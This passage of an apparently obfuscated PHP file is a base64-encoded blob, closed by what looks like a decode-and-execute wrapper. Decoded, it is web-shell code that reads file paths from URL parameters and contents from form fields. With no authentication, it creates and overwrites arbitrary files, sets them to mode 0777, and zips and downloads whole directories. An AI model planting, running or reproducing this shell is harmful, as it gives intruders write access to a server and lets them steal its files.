J2YnXS4nIiBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIGNvbHM9IjEwMCIgcm93cz0iMTUiIG5hbWU9InRleHQiPicuJGZpbGUuJzwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiYjMTA1NjsmIzEwNzc7JiMxMDc2OyYjMTA3MjsmIzEwODI7JiMxMDkwOyYjMTA4MDsmIzEwODg7JiMxMDg2OyYjMTA3NDsmIzEwNzI7JiMxMDkwOyYjMTEwMDshIj4nO30NCg0KaWYoaXNzZXQoJF9HRVRbJ2NyZWF0ZSddKSl7DQplY2hvJzxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mIzEwNTc7JiMxMDg2OyYjMTA3OTsmIzEwNzY7JiMxMDcyOyYjMTA4NTsmIzEwODA7JiMxMDc3OyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDcyOzwvZm9udD48L2I+PGhyPic7DQplY2hvJzxmb3JtIGFjdGlvbj0iP21hZGU9Jy4kX0dFVFsnY3JlYXRlJ10uJyIgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCBuYW1lPSJuZXdfbmFtZSIgdmFsdWU9IiYjMTA1MzsmIzEwNzI7JiMxMDc5OyYjMTA3NDsmIzEwNzI7JiMxMDg1OyYjMTA4MDsmIzEwNzc7ICYjMTA4NTsmIzEwODY7JiMxMDc0OyYjMTA4NjsmIzEwNzU7JiMxMDg2OyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDcyOyI+PGJyPg0KPHRleHRhcmVhIGNvbHM9IjEwMCIgcm93cz0iMTUiIG5hbWU9Im5ld19maWxlIj4mIzEwNTc7JiMxMDg2OyYjMTA3NjsmIzEwNzc7JiMxMDg4OyYjMTA3ODsmIzEwODA7JiMxMDg0OyYjMTA4NjsmIzEwNzc7ICYjMTA4NTsmIzEwODY7JiMxMDc0OyYjMTA4NjsmIzEwNzU7JiMxMDg2OyAmIzEwOTI7JiMxMDcyOyYjMTA4MTsmIzEwODM7JiMxMDcyOzwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiYjMTA1NzsmIzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDkwOyYjMTEwMDshIj4nO30NCg0KaWYoaXNzZXQoJF9HRVRbJ21hZGUnXSkpew0KZWNobyc8Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JiMxMDU3OyYjMTA4NjsmIzEwNzk7JiMxMDc2OyYjMTA3MjsmIzEwODU7JiMxMDgwOyYjMTA3NzsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3Mjs8L2ZvbnQ+PC9iPjxocj4nOw0KJGZwID0gZm9wZW4oJF9HRVRbJ21hZGUnXS4kX1BPU1RbJ25ld19uYW1lJ10sInciKTsNCmZwdXRzKCRmcCwkX1BPU1RbJ25ld19maWxlJ10pOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmY2xvc2UoJGZwKTsNCmNobW9kKCRfR0VUWydtYWRlJ10uJF9QT1NUWyduZXdfbmFtZSddLCAwNzc3KTsNCmlmKCRmcCl7ZWNobycmIzEwNjA7JiMxMDcyOyYjMTA4MTsmIzEwODM7ICYjMTA4OTsmIzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDg1OyEnO30NCmlmKCEkZnApe2VjaG8nJiMxMDU0OyYjMTA5NjsmIzEwODA7JiMxMDczOyYjMTA4MjsmIzEwNzI7ICYjMTA4OTsmIzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDg1OyYjMTA4MDsmIzExMDM7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwNzI7ISc7fX0NCg0KaWYoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpew0KZWNobyc8Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JiMxMDU2OyYjMTA3NzsmIzEwNzY7JiMxMDcyOyYjMTA4MjsmIzEwOTA7JiMxMDgwOyYjMTA4ODsmIzEwODY7JiMxMDc0OyYjMTA3MjsmIzEwODU7JiMxMDgwOyYjMTA3NzsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3Mjs8L2ZvbnQ+PC9iPjxocj4nOw0KJGZwID0gZm9wZW4oJF9HRVRbJ2VkaXQnXSwidyIpOw0KZnB1dHMoJGZwLCRfUE9TVFsndGV4dCddKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZmNsb3NlKCRmcCk7DQpjaG1vZCgkX0dFVFsnZWRpdCddLCAwNzc3KTsNCmlmKCRmcCl7ZWNobycmIzEwNjA7JiMxMDcyOyYjMTA4MTsmIzEwODM7ICYjMTA4NjsmIzEwOTA7JiMxMDg4OyYjMTA3NzsmIzEwNzY7JiMxMDcyOyYjMTA4MjsmIzEwOTA7JiMxMDgwOyYjMTA4ODsmIzEwODY7JiMxMDc0OyYjMTA3MjsmIzEwODU7ISc7fQ0KaWYoISRmcCl7ZWNobycmIzEwNTQ7JiMxMDk2OyYjMTA4MDsmIzEwNzM7JiMxMDgyOyYjMTA3MjsgJiMxMDc5OyYjMTA3MjsmIzEwODc7JiMxMDgwOyYjMTA4OTsmIzEwODA7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4MzsmIzEwNzI7ISc7fX0NCg0KaWYoaXNzZXQoJF9HRVRbJ3ppcCddKSl7DQoNCmNsYXNzIHppcGZpbGUNCnsNCg0KICAgIHZhciAkZGF0YXNlYyA9IGFycmF5KCk7IA0KICAgIHZhciAkY3RybF9kaXIgPSBhcnJheSgpOyANCiAgICB2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7IA0KICAgIHZhciAkb2xkX29mZnNldCA9IDA7DQoNCiAgICBmdW5jdGlvbiBhZGRfZGlyKCRuYW1lKQ0KDQogICAgew0KICAgICAgICAkbmFtZSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJG5hbWUpOw0KDQogICAgICAgICRmciA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiAgICAgICAgJGZyIC49ICJceDBhXHgwMCI7ICAgDQogICAgICAgICRmciAuPSAiXHgwMFx4MDAiOyAgIA0KICAgICAgICAkZnIgLj0gIlx4MDBceDAwIjsgICANCiAgICAgICAgJGZyIC49ICJceDAwXHgwMFx4MDBceDAwIjsgDQogICAgICAgICRmciAuPSBwYWNrKCJWIiwwKTsgDQogICAgICAgICRmciAuPSBwYWNrKCJWIiwwKTsgDQogICAgICAgICRmciAuPSBwYWNrKCJWIiwwKTsgDQogICAgICAgICRmciAuPSBwYWNrKCJ2Iiwgc3RybGVuKCRuYW1lKSApOyANCiAgICAgICAgJGZyIC49IHBhY2soInYiLCAwICk7IA0KICAgICAgICAkZnIgLj0gJG5hbWU7DQogICAgICAgICRmciAuPSBwYWNrKCJWIiwkY3JjKTsgDQogICAgICAgICRmciAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiAgICAgICAgJGZyIC49IHBhY2soIlYiLCR1bmNfbGVuKTsgDQogICAgICAgICR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsNCiAgICAgICAgJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgiIiwgJHRoaXMtPmRhdGFzZWMpKTsNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KICAgICAgICAkY2RyZWMgLj0iXHgwMFx4MDAiOyAgICANCiAgICAgICAgJGNkcmVjIC49Ilx4MGFceDAwIjsgICAgDQogICAgICAgICRjZHJlYyAuPSJceDAwXHgwMCI7ICAgIA0KICAgICAgICAkY2RyZWMgLj0iXHgwMFx4MDAiOyAgIA0KICAgICAgICAkY2RyZWMgLj0iXHgwMFx4MDBceDAwXHgwMCI7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygiViIsMCk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygidiIsIHN0cmxlbigkbmFtZSkgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygidiIsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOyANCiAgICAgICAgJGV4dCA9ICJceDAwXHgwMFx4MTBceDAwIjsNCiAgICAgICAgJGV4dCA9ICJceGZmXHhmZlx4ZmZceGZmIjsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soIlYiLCAxNiApOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soIlYiLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7IA0KICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQogICAgICAgICRjZHJlYyAuPSAkbmFtZTsNCiAgICAgICAgJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsNCiAgICB9DQoNCg0KICAgIGZ1bmN0aW9uIGFkZF9maWxlKCRkYXRhLCAkbmFtZSkNCiAgICB7ICRuYW1lID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkbmFtZSk7DQokZnIgPSAiXHg1MFx4NGJceDAzXHgwNCI7DQogICAgICAgICRmciAuPSAiXHgxNFx4MDAiOyAgICANCiAgICAgICAgJGZyIC49ICJceDAwXHgwMCI7ICAgIA0KICAgICAgICAkZnIgLj0gIlx4MDhceDAwIjsgICAgDQogICAgICAgICRmciAuPSAiXHgwMFx4MDBceDAwXHgwMCI7IA0KDQogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGNyYyA9IGNyYzMyKCRkYXRhKTsNCiAgICAgICAgJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQogICAgICAgICR6ZGF0YSA9IHN1YnN0ciggc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7IA0KICAgICAgICAkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsNCiAgICAgICAgJGZyIC49IHBhY2soIlYiLCRjcmMpOyANCiAgICAgICAgJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiAgICAgICAgJGZyIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkZnIgLj0gcGFjaygidiIsIDAgKTsgDQogICAgICAgICRmciAuPSAkbmFtZTsNCiAgICAgICAgJGZyIC49ICR6ZGF0YTsNCiAgICAgICAgJGZyIC49IHBhY2soIlYiLCRjcmMpOyANCiAgICAgICAgJGZyIC49IHBhY2soIlYiLCRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygiViIsJHVuY19sZW4pOyANCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KICAgICAgICAkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCIiLCAkdGhpcy0+ZGF0YXNlYykpOw0KICAgICAgICAkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQogICAgICAgICRjZHJlYyAuPSJceDAwXHgwMCI7ICAgIA0KICAgICAgICAkY2RyZWMgLj0iXHgxNFx4MDAiOyAgDQogICAgICAgICRjZHJlYyAuPSJceDAwXHgwMCI7ICAgDQogICAgICAgICRjZHJlYyAuPSJceDA4XHgwMCI7ICAgDQogICAgICAgICRjZHJlYyAuPSJceDAwXHgwMFx4MDBceDAwIjsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJWIiwkY3JjKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJWIiwkY19sZW4pOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soIlYiLCR1bmNfbGVuKTsNCiAgICAgICAgJGNkcmVjIC49IHBhY2soInYiLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygidiIsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJ2IiwgMCApOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soInYiLCAwICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygidiIsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCJWIiwgMzIgKTsgDQoNCiAgICAgICAgJGNkcmVjIC49IHBhY2soIlYiLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7IA0KICAgICAgICAkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoNCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOw0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGZpbGUoKSB7IA0KICAgICAgICAkZGF0YSA9IGltcGxvZGUoIiIsICR0aGlzIC0+IGRhdGFzZWMpOw0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoIiIsICR0aGlzIC0+IGN0cmxfZGlyKTsNCiAgICAgICAgcmV0dXJuDQogICAgICAgICAgICAkZGF0YS4NCiAgICAgICAgICAgICRjdHJsZGlyLg0KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyLg0KICAgICAgICAgICAgcGFjaygidiIsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLiAgICANCiAgICAgICAgICAgIHBhY2soInYiLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKS4gDQogICAgICAgICAgICBwYWNrKCJWIiwgc3RybGVuKCRjdHJsZGlyKSkuICAgDQogICAgICAgICAgICBwYWNrKCJWIiwgc3RybGVuKCRkYXRhKSkuICAgIA0KICAgICAgICAgICAgIlx4MDBceDAwIjsgfX0NCiRhYm9ydCA9IGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KJHppcGZpbGUgPSBuZXcgemlwZmlsZSgpOw0KJGZkaXIgPSBvcGVuZGlyKCRfR0VUWyd6aXAnXSk7DQp3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGZkaXIpKXsNCmlmICgkZmlsZSAhPSAnLicgYW5kICRmaWxlICE9ICcuLicpew0KaWYgKGlzX2ZpbGUoJF9HRVRbJ3ppcCddLiRmaWxlKSl7JHppcGZpbGUtPmFkZF9maWxlKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWyd6aXAnXS4kZmlsZSksJGZpbGUpO30NCmlmIChpc19kaXIoJF9HRVRbJ3ppcCddLiRmaWxlKSl7DQokc2RpciA9IG9wZW5kaXIoJF9HRVRbJ3ppcCddLiRmaWxlKTsNCndoaWxlKCRzZmlsZSA9IHJlYWRkaXIoJHNkaXIpKXsNCmlmICgkc2ZpbGUgIT0gJy4nIGFuZCAkc2ZpbGUgIT0gJy4uJyl7DQppZiAoaXNfZmlsZSgkX0dFVFsnemlwJ10uJGZpbGUuJy8nLiRzZmlsZSkpeyR6aXBmaWxlLT5hZGRfZmlsZShmaWxlX2dldF9jb250ZW50cygkX0dFVFsnemlwJ10uJGZpbGUuJy8nLiRzZmlsZSksICRmaWxlLicvJy4kc2ZpbGUpO319fX19fQ0KJG5hbWUgPSBleHBsb2RlKCIvIiwkX0dFVFsnemlwJ10pOw0KJGZpbGUgPSAkbmFtZVtjb3VudCgkbmFtZSktMl07DQpoZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQpoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSRmaWxlLnppcCIpOw0KZWNobyAkemlwZmlsZS0+ZmlsZSgpO30NCg0KaWYoZW1wdHkoJF9HRVRbJ3ppcCddKSBhbmQgZW1wdHkoJF9HRVRbJ2Rvd25sb2FkJ10pICYgZW1wdHkoJF9HRVRbJ2ltZyddKSl7DQplY2hvJzxicj48YSBocmVmPSI/Ij4mIzEwNDI7ICYjMTA4NTsmIzEwNzI7JiMxMDk1OyYjMTA3MjsmIzEwODM7JiMxMDg2OzwvYT4NCjxicj48YnI+JzsNCmxpc3QoJG1zZWMsJHNlYyk9ZXhwbG9kZShjaHIoMzIpLG1pY3JvdGltZSgpKTsgIA0KZWNobyByb3VuZCgoKCRzZWMrJG1zZWMpLSRIZWFkVGltZSksNCkuJyBjZWsuJzsgDQplY2hvJzwvYm9keT48L2h0bWw+Jzt9DQo/Pg==")); ?>